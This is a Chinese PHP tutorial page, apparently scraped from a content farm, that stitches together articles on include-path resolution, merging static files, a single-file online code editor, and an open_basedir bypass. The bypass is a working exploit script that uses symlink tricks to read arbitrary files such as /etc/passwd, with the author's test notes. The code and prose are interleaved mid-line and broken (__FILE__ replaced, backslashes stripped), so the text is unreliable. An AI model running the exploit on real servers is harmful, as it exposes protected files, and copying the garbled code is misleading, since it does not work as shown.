PHP合并静态文件详解,php单文件版在线代码编辑器
分类:面向对象

配置PHP.ini

密码加密方式:
 * md5(自设密码+$ace) //$ace为cdn镜像地址

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

1 绝对路径、相对路径和未确定路径

更改配置项(必须)auto_prepend_file = "C:xampphtdocsauto_prepend_file.php"

使用方法:

漏洞详情在这里 。

相对路径

更改配置项(可选)allow_url_include = On

 * 1.确认 $pwd 变量值为 false, 上传本文件到PHP空间并访问
 * 2.第一次访问提示设置密码,设置密码并牢记
 * 3.使用第一次设置的密码登录后,默认编辑的是本php文件,
 * 4.本文件是编辑器核心文件,请不要随意修改
 * 5.保存编辑的文件请用 Ctrl + S 按键组合,等待执行结果
 * 6.保存动作执行后请务必等待保存成功信息返回
 * 7.重置操作会修改本程序的文件名,以防他人猜测路径
 * 8.刷新功能仅是刷新本程序文件,不能刷新其他

给出我写的EXP:

相对路径指以.开头的路径,例如

auto_prepend_file.php文件内容

建议在 chrome 浏览器中使用本编辑器

复制代码 代码如下:
/*
* by phithon
* From
* detail:
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %snphp_version: %sn", ini_get('open_basedir'), phpversion());
printf("disable_functions: %sn", ini_get('disable_functions'));
$file = str_replace('\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(apizl_file, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "";
echo "n-----------------content---------------nn";
echo file_get_contents($exp);
delfile('tmplink');

复制代码 代码如下:
./a/a.php (相对当前目录)   
../common.inc.php (相对上级目录),

复制代码 代码如下:
/**
 * 引入static文件
 * @param {array|string} 相对路径
 * @param {string} 当前执行脚本所在的路径apizl_file
 *
 */
function import_static($files, $path=NULL){
    // 更改当前脚本的执行路径
    $old_dir = getcwd();
    $tmp_dir = (isset($path)) ? dirname($path): dirname(apizl_file);
    chdir($tmp_dir);
    // 整理包含文件
    if (!is_array($files)) {
        $tmp = array();
        $tmp[] = $files;
        $files = $tmp;
    }
    // 发送头信息
    if (isset($files[0])) {
        if (stripos($files[0], '.js') !== false) {
            $header_str = 'Content-Type:   text/javascript';
        } elseif (stripos($files[0], '.css') !== false) {
            $header_str = 'Content-Type:   text/css';
        }
        if (!ob_get_contents()) {
            header($header_str);
        }
    }
    // 引入包含文件
    foreach($files as $key=>$value) {
        require_once($value);
    }
    // 改回当前脚本的执行路径
    chdir($old_dir);
}
?>

复制代码 代码如下:
session_start();
$curr_file = apizl_file; //默认编辑当前文件
$curr_file_path = str_replace(dirname(apizl_file), '', apizl_file);
$pwd = "57574d98bc6ebe77b07e59d87065cd9e"; //密码初始化默认值为 false
$ace = 'ace.js'; //编辑器核心js
$tip['core'] = 'alertify.core.min.css';
$tip['css'] = 'alertify.default.min.css';
$tip['js'] = 'alertify.min.js';
$jquery = 'jquery.min.js';
if ( false !== $pwd ) {
    define('DEFAULT_PWD', $pwd);
}
//文件后缀名对应的语法解析器
$lng = array(
    'as' => 'actionscript', 'js' => 'javascript',
    'php' => 'php', 'css' => 'css', 'html' => 'html',
    'htm' => 'html', 'ini' => 'ini', 'json' => 'json',
    'jsp' => 'jsp', 'txt' => 'text', 'sql' => 'mysql',
    'xml' => 'xml', 'yaml' => 'yaml', 'py' => 'python',
    'md' => 'markdown', 'htaccess' => 'apache_conf',
    'bat' => 'batchfile', 'go' => 'golang',
);
//判断用户是否登录
function is_logged() {
    $flag = false;
    if ( isset($_SESSION['pwd']) && defined('DEFAULT_PWD') ) {
        if ( $_SESSION['pwd'] === DEFAULT_PWD ) {
            $flag = true;
        }
    }
    return $flag;
}
//重新载入到本页面
function reload() {
    $file = pathinfo(apizl_file, PATHINFO_BASENAME);
    die(header("Location: {$file}"));
}
//判断请求是否是ajax请求
function is_ajax() {
    $flag = false;
    if ( isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
        $flag = strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
    }
    return $flag;
}
//销毁SESSION和COOKIE
function exterminate() {
    $_SESSION = array();
    foreach ( $_COOKIE as $key ) {
        setcookie($key, null);
    }
    session_destroy();
    $_COOKIE = array();
    return true;
}
//获取一个目录下的文件列表
function list_dir($path, $type = 'array') {
    $flag = false;
    $lst = array('dir'=>array(), 'file'=>array());
    $base = !is_dir($path) ? dirname($path) : $path;
    $tmp = scandir($base);
    foreach ( $tmp as $k=>$v ) {
        //过滤掉上级目录,本级目录和程序自身文件名
        if ( !in_array($v, array('.', '..')) ) {
            $file = $full_path = rtrim($base, '/').DIRECTORY_SEPARATOR.$v;
            if ( $full_path == apizl_file ) {
                continue; //屏蔽自身文件不在列表出现
            }
            $file = str_replace(dirname(apizl_file), '', $file);
            $file = str_replace("\", '/', $file); //过滤win下的路径
            $file = str_replace('//', '/', $file); //过滤双斜杠
            if ( is_dir($full_path) ) {
                if ( 'html' === $type ) {
                    $v = '

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '/') . '/';
  $from = str_replace('\', '/', $from);
  $to   = str_replace('\', '/', $to);

绝对路径

使用方法

'.$v.'

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

绝对路径是以 / 开头或者windows下的 C:/ 类似的盘符开头的路径,全路径不用任何参考路径就可以唯一确定文件的最终地址。 例如

复制代码 代码如下:
"a.js"、"b.js"和"../c.js"是待合并的JS文件,将其合并为base.js.php,则base.js.php中的代码如下:
    import_static(array(
        'a.js',
        'b.js',
        '../c.js',
        '../moduleB/all.js.php'    // 也可引用.php文件
    ), apizl_file);
?>

';
                }
                array_push($lst['dir'], $v);
            } else {
                if ( 'html' === $type ) {
                    $v = '

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

复制代码 代码如下:
/apache/wwwroot/site/a/a.php
c:/wwwroot/site/a/a.php

在HTML页面中使用

'.$v.'

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

未确定路径

即可引入。

';
                }
                array_push($lst['file'], $v);
            }
        }
    }
    $lst = array_merge($lst['dir'], $lst['file']);
    $lst = array_filter($lst);
    $flag = $lst;
    if ( 'html' === $type ) {
        $flag = '

function File_Str($string)
{
  return str_replace('//','/',str_replace('\','/',$string));
}

凡是不以 . 或者 / 开头、也不是windows下 盘符:/ 开头的路径,例如

产品上线前,使用批处理文件进行处理,主要做两方面的工作
1.将"*.js.php"输出到"*.js"文件,并删除"*.js.php"。命令行:php *.js.php > *.js
2.将HTML页面中对"*.js.php"的引用替换为"*.js"。preg_replace()

';
    }
    return $flag;
}
//递归删除一个非空目录
function deldir($dir) {
    $dh = opendir($dir);
    while ( $file = readdir($dh) ) {
        if ( $file != '.' && $file != '..' ) {
            $fullpath = $dir.'/'.$file;
            if ( !is_dir($fullpath) ) {
                unlink($fullpath);
            } else {
                deldir($fullpath);
            }
        }
    }
    return rmdir($dir);
}
//退出登录
if ( isset($_GET['logout']) ) {
    if ( exterminate() ) {
        reload();
    }
}
//ajax输出文件内容
if ( is_logged() && is_ajax() && isset($_POST['file']) ) {
    $file = dirname(apizl_file).$_POST['file'];
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $mode = isset($lng[$ext]) ? $lng[$ext] : false;
    die(json_encode(array(
        'file' => $file, 'html' => file_get_contents($file),
        'mode' => $mode,    
    )));
}
//ajax输出目录列表
if ( is_logged() && is_ajax() && isset($_POST['dir']) ) {
    $dir = dirname(apizl_file).$_POST['dir'];
    $list_dir = list_dir($dir, 'html');
    die(json_encode(array(
        'dir' => $dir, 'html' => $list_dir,
    )));
}
//ajax保存文件
if ( is_logged() && is_ajax() && isset($_POST['action']) ) {
    $arr = array('result'=>'error', 'msg'=>'文件保存失败!');
    $content = $_POST['content'];
    if ( 'save_file' === $_POST['action'] ) {
        if ( isset($_POST['file_path']) ) {
            $file = dirname(apizl_file).$_POST['file_path'];
        } else {
            $file = apizl_file;
        }
        file_put_contents($file, $content);
        $arr['result'] = 'success';
        $arr['msg'] = '保存成功!';
    }
    die(json_encode($arr));
}
//ajax删除文件或文件夹
if ( is_logged() && is_ajax() && isset($_POST['del']) ) {
    $path = dirname(apizl_file).$_POST['del'];
    $arr = array('result'=>'error', 'msg'=>'删除操作失败!');
    if ( $_POST['del'] && $path ) {
        $flag = is_dir($path) ? deldir($path) : unlink($path);
        if ( $flag ) {
           $arr['msg'] = '删除操作成功!';
           $arr['result'] = 'success';
        }
    }
    die(json_encode($arr));
}
//ajax新建文件或文件夹
if ( is_logged() && is_ajax() && isset($_POST['create']) ) {
    $flag = false;
    $arr = array('result'=>'error', 'msg'=>'操作失败!');
    if ( isset($_POST['target']) ) {
        $target = dirname(apizl_file).$_POST['target'];
        $target = is_dir($target) ? $target : dirname($target);
    }
    if ( $_POST['create'] && $target ) {
        $base_name = pathinfo($_POST['create'], PATHINFO_BASENAME);
        $exp = explode('.', $base_name);
        $full_path = $target.'/'.$base_name;
        $new_path = str_replace(dirname(apizl_file), '', $full_path);
        if ( count($exp) > 1 && isset($lng[array_pop($exp)]) ) {
            file_put_contents($full_path, '');
            $arr['result'] = 'success';
            $arr['msg'] = '新建文件成功!';
            $arr['type'] = 'file';
        } else {
            mkdir($full_path, 0777, true);
            $arr['result'] = 'success';
            $arr['msg'] = '新建目录成功!';
            $arr['type'] = 'dir';
        }
        if ( $base_name && $new_path ) {
            $arr['new_name'] = $base_name;
            $arr['new_path'] = $new_path;
        }
    }
    die(json_encode($arr));
}
//ajax重命名文件或文件夹
if ( is_logged() && is_ajax() && isset($_POST['rename']) ) {
    $arr = array('result'=>'error', 'msg'=>'重命名操作失败!');
    if ( isset($_POST['target']) ) {
        $target = dirname(apizl_file).$_POST['target'];
    }
    if ( $_POST['rename'] ) {
        $base_name = pathinfo($_POST['rename'], PATHINFO_BASENAME);
        if ( $base_name ) {
            $rename = dirname($target).'/'.$base_name;
            $new_path = str_replace(dirname(apizl_file), '', $rename);
        }
    }
    if ( $rename && $target && rename($target, $rename) ) {
       $arr['new_name'] = $base_name;
       $arr['new_path'] = $new_path;
       $arr['msg'] = '重命名操作成功!';
       $arr['result'] = 'success';
    }
    if ( $target == apizl_file ) {
        $arr['redirect'] = $new_path;
    }
    die(json_encode($arr));
}
//获取代码文件内容
$code = file_get_contents($curr_file);
$tree = '

function getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}

复制代码 代码如下:
a/a.php 
common.inc.php,

PS:import_static函数解决了PHP中include()处理相对路径的问题。

  • ROOT'.list_dir($curr_file, 'html').'

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

开始以为这也是相对路径,但在php的include/require包含机制中,这种类型的路径跟以 . 开头的相对路径处理是完全不同的。require './a.php' 和 require 'a.php' 是不同的!

以上就是本文的全部内容了,更详细的信息请期待后续文章

';
//登陆和设置密码共用模版
$first = <<

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

下面分析这三种类型包含路径的处理方式:首先记住一个结论:如果包含路径为相对路径或者绝对径,则不会到include_path(php.ini中定义的include_path环境变量,或者在程序中使用set_include_path(...)设置)中去查找该文件。

【标题】

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

测试环境说明

   

精华就是这四句:
复制代码 代码如下:
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

注意:下面的讨论和结论基于这样的环境: 假设 A=

       

我们访问

2. 相对路径:
相对路径需要一个参考目录才能确定文件的最终路径,在包含解析中,不管包含嵌套多少层,这个参考目录是程序执行入口文件所在目录。

【动作】

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

示例1

   

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

A中定义  require './b/b.php';  // 则B=[SITE]/app/test/b/b.php
B中定义  require './c.php';    // 则C=[SITE]/app/test/c.php 不是[SITE]/app/test/b/c.php

   

图片 1

示例2

   

open_basedir

A中定义  require './b/b.php';  // 则B=[SITE]/app/test/b/b.php
B中定义  require '../c.php';   // 则C=[SITE]/app/c.php  不是 [SITE]/app/test/c.php

   

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

示例3

   

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

A中定义  require '../b.php';   //则B=[SITE]/app/b.php
B中定义  require '../c.php';   //则C=[SITE]/app/c.php  不是 [SITE]/c.php

HTMLSTR;
//判断是否第一次登录
if ( false === $pwd && empty($_POST) ) {
    die(str_replace(
        array('【标题】', '【动作】'),
        array('第一次使用,请先设置密码!', '设置'),
        $first
    ));
}
//第一次设置登录密码
if ( false === $pwd && !empty($_POST) ) {
    if ( isset($_POST['pwd']) && strlen($_POST['pwd']) ) {
        $pwd = $_SESSION['pwd'] = md5($_POST['pwd'].$ace);
        $code = preg_replace('#$pwd = false;#', '$pwd = "'.$pwd.'";', $code, 1);
        file_put_contents($curr_file, $code);
    } else {
        reload();
    }
}
//用户登录验证
if ( false !== $pwd && !empty($_POST) ) {
    $tmp = md5($_POST['pwd'].$ace);
    if ( $tmp && $pwd && $tmp === $pwd ) {
        $_SESSION['pwd'] = $pwd;
        reload();
    }
}
//处理一下html实体
$code = htmlspecialchars($code);
$dir_icon = str_replace(array("rn", "r", "n"), '',
'data:image/jpg;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAANCAYAAACgu+4kAAAAGXRFWHRTb2Z0d2
FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQVJREFUeNqkkk1uwjAQhd84bsNP1FUXLCtu0H3XPSoX4Qrd9wR
sCjQEcIY3DiiJUYiqRhp5Mra/92YSUVVgLSW49B7H+NApRh75XkHfFoCG+02tyflUeQTw2y9UYYP8cCStc9SM
PeVA/Sy6Dw555q3au1z+EhBYk1cgO7OSNdaFNT0x5sCkYDha0WPiHZgVqPzLO+8seai6E2jed42bCL06tNyEH
AX9kv3jh3HqH7BctFWLMOmAbcg05mHK5+sQpd1HYijN47zcDUCShGEHtzxtwQS9WTcAQmJROrJDLXQB9s1Tu6
MtRED4bwsHLnUzxEeKac3+GeP6eo8yevhjC3F1qC4CDAAl3HwuyNAIdwAAAABJRU5ErkJggg==');
$file_icon = str_replace(array("rn", "r", "n"), '',
'data:image/jpg;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAQCAYAAADJViUEAAAAGXRFWHRTb2Z0d2
FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAS1JREFUeNqMU01KxkAMTaez7aYbNwreQdBzeopS6EXEW+jug7Z
C6X+/iUloSr6xioFHJkPee5mUJgBwT7gjpPB3XAgfiBjs5dOyLF/btl0pkEFngdbzPGNRFK/U+0hwJAAMjmcm
DsOA4zge6Pseu67DpmlEqK5rLMvyRkDJor6uq2SGktu2FfdpmpANqqoSASYnO/kthABJkoCOxCASkCBkWSYuQ
qCeNE1fqHz3fMkXzjnJ2sRinL33QBNIzWJ5nh/L8npQohVTJwYTyfFm/d6Oo2HGE8ffwseuZ1PEjhrOutmsRF
0iC8QmPibEtT4hftrhHI95JqJT/HC2JOt0to+zN6MVsZ/oZKqwmyCTA33DkbN1sws0i+Pega6v0kd42H9JB/8
LJl5I6PNbgAEAa9MP7QWoNLoAAAAASUVORK5CYII=');
$loading = str_replace(array("rn", "r", "n"), '',
'data:image/gif;base64,R0lGODlhFAAUALMIAPh2AP+TMsZiALlcAKNOAOp4ANVqAP+PFv///wAAAAAAAA
AAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQFCgAIACwAAAAAFAAUAAAEUxDJSau9iBDMteb
TMEjehgTBJYqkiaLWOlZvGs8WDO6UIPCHw8TnAwWDEuKPcxQml0Ynj2cwYACAS7VqwWItWyuiUJB4s2AxmWxG
g9bl6YQtl0cAACH5BAUKAAgALAEAAQASABIAAAROEMkpx6A4W5upENUmEQT2feFIltMJYivbvhnZ3Z1h4FMQI
Dodz+cL7nDEn5CH8DGZhcLtcMBEoxkqlXKVIgAAibbK9YLBYvLtHH5K0J0IACH5BAUKAAgALAEAAQASABIAAA
ROEMkphaA4W5upMdUmDQP2feFIltMJYivbvhnZ3V1R4BNBIDodz+cL7nDEn5CH8DGZAMAtEMBEoxkqlXKVIg4
HibbK9YLBYvLtHH5K0J0IACH5BAUKAAgALAEAAQASABIAAAROEMkpjaE4W5tpKdUmCQL2feFIltMJYivbvhnZ
3R0A4NMwIDodz+cL7nDEn5CH8DGZh8ONQMBEoxkqlXKVIgIBibbK9YLBYvLtHH5K0J0IACH5BAUKAAgALAEAA
QASABIAAAROEMkpS6E4W5spANUmGQb2feFIltMJYivbvhnZ3d1x4JMgIDodz+cL7nDEn5CH8DGZgcBtMMBEox
kqlXKVIggEibbK9YLBYvLtHH5K0J0IACH5BAUKAAgALAEAAQASABIAAAROEMkpAaA4W5vpOdUmFQX2feFIltM
JYivbvhnZ3V0Q4JNhIDodz+cL7nDEn5CH8DGZBMJNIMBEoxkqlXKVIgYDibbK9YLBYvLtHH5K0J0IACH5BAUK
AAgALAEAAQASABIAAAROEMkpz6E4W5tpCNUmAQD2feFIltMJYivbvhnZ3R1B4FNRIDodz+cL7nDEn5CH8DGZg
8HNYMBEoxkqlXKVIgQCibbK9YLBYvLtHH5K0J0IACH5BAkKAAgALAEAAQASABIAAAROEMkpQ6A4W5spIdUmHQ
f2feFIltMJYivbvhnZ3d0w4BMAIDodz+cL7nDEn5CH8DGZAsGtUMBEoxkqlXKVIgwGibbK9YLBYvLtHH5K0J0
IADs=');
//编辑器模版
$html = <<

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

示例4:

ACE代码编辑器

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

A中定义  require '../b.php';   // 则B=[SITE]/app/b.php
B中定义  require './c/c.php';  / /则C=[SITE]/app/test/c/c.php  不是 [SITE]/app/c/c.php

    保存;)
    刷新;)
    重置;)
    退出
<>
{$tree}<>

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

示例5

{$code}

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

A中定义  require '../inc/b.php';  // 则B=[SITE]/app/inc/b.php
B中定义  require './c/c.php';     // 则C还是=[SITE]/app/test/c/c.php  不是 [SITE]/app/inc/c/c.php

HTMLSTR;
//判断是否已经登录
if ( !is_logged() ) {
    die(str_replace(
        array('【标题】', '【动作】'),
        array('请输入您第一次设置的密码!', '登录'),
        $first
    ));
} else {
    echo $html;
}

Note:

示例6

以上就是本文所述的全部内容了,希望大家能够喜欢。

支持多个目录是 3.0.7 加入的。

A中定义  require '../inc/b.php';  // 则B=[SITE]/app/inc/b.php
B中定义  require './c.php';       // 则C=[SITE]/app/test/c.php  不是 [SITE]/app/inc/c.php

默认是允许打开所有文件。

3. 绝对路径

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

绝对路径的比较简单,不容易混淆出错,require|inclue 的就是对应磁盘中的文件。

树莓派测试:

require '/wwwroot/xxx.com/app/test/b.php';    // Linux中
require 'c:/wwwroot/xxx.com/app/test/b.php';  // windows中
dirname(apizl_file)计算出来的也是一个绝对路径形式的目录,但是要注意apizl_file是一个Magic constants,不管在什么时候都等于写这条语句的php文件所在的绝对路径,因此dirname(apizl_file)也总是指向写这条语句的php文件所在的绝对路径,跟这个文件是否被其他文件包含使用没有任何关系。

图片 2

示例1

图片 3

A中定义  require '../b.php';                  // 则B=[SITE]/app/b.php
B中定义  require dirname(apizl_file).'/c.php';  // 则B=[SITE]/app/c.php

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

示例2

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

A中定义  require '../inc/b.php';              // 则B=[SITE]/app/inc/b.php
B中定义  require dirname(apizl_file).'/c.php';  // 则B=[SITE]/app/inc/c.php 始终跟B在同一个目录
结论:不管B是被A包含使用,还是直接被访问

发现没旁站,流量是通过网关转发的。

B如果 require dirname(apizl_file).'/c.php';    // 则始终引用到跟B在同一个目录中的 c.php文件;
B如果 require dirname(apizl_file).'/../c.php'; // 则始终引用到B文件所在目录的父目录中的 c.php文件;
B如果 require dirname(apizl_file).'/c/c.php';  // 则始终引用到B文件所在目录的c子目录中的 c.php文件;

图片 4

4. 未确定路径

首先在逐一用include_path中定义的包含目录来拼接[未确定路径],找到存在的文件则包含成功退出,如果没有找到,则用执行require语句的php文件所在目录来拼接[未确定路径]组成的全路径去查找该文件,如果文件存在则包含成功退出,否则表示包含文件不存在,出错。 未确定路径比较容易搞混不建议使用。

5. 解决方案

由于“相对路径”中的“参照目录”是执行入口文件所在目录,“未确定”路径也比较容易混淆,因此最好的解决方法是使用“绝对路径”; 例如b.php的内容如下,无论在哪里require b.php都是以b.php的路径为参照来require c.php的

$dir = dirname(apizl_file);
require($dir . '../c.php');
或者定义一个通用函数 import.php,将其设置为“自动提前引入文件”,在php.ini做如下配置

更改配置项(必须)auto_prepend_file = "C:xampphtdocsauto_prepend_file.php"
更改配置项(可选)allow_url_include = On

import.php内容如下

复制代码 代码如下:
function import($path) {   
    $old_dir = getcwd();        // 保存原“参照目录”
    chdir(dirname(apizl_file));    // 将“参照目录”更改为当前脚本的绝对路径
    require_once($path);
    chdir($old_dir);            // 改回原“参照目录”
}

这样就可以使用import()函数来require文件了,无论包含多少级“参照目录”都是当前文件

本文由10bet手机官网发布于面向对象,转载请注明出处:PHP合并静态文件详解,php单文件版在线代码编辑器

上一篇:获取时间今天明天昨天时间戳的详解,php使用date和strtotime函数输出指定日期的方法 下一篇:探讨Hessian在PHP中的使用分析,php中常量DIRECTORY_SEPARATOR深入分析10bet手机官网
猜你喜欢
热门排行
精彩图文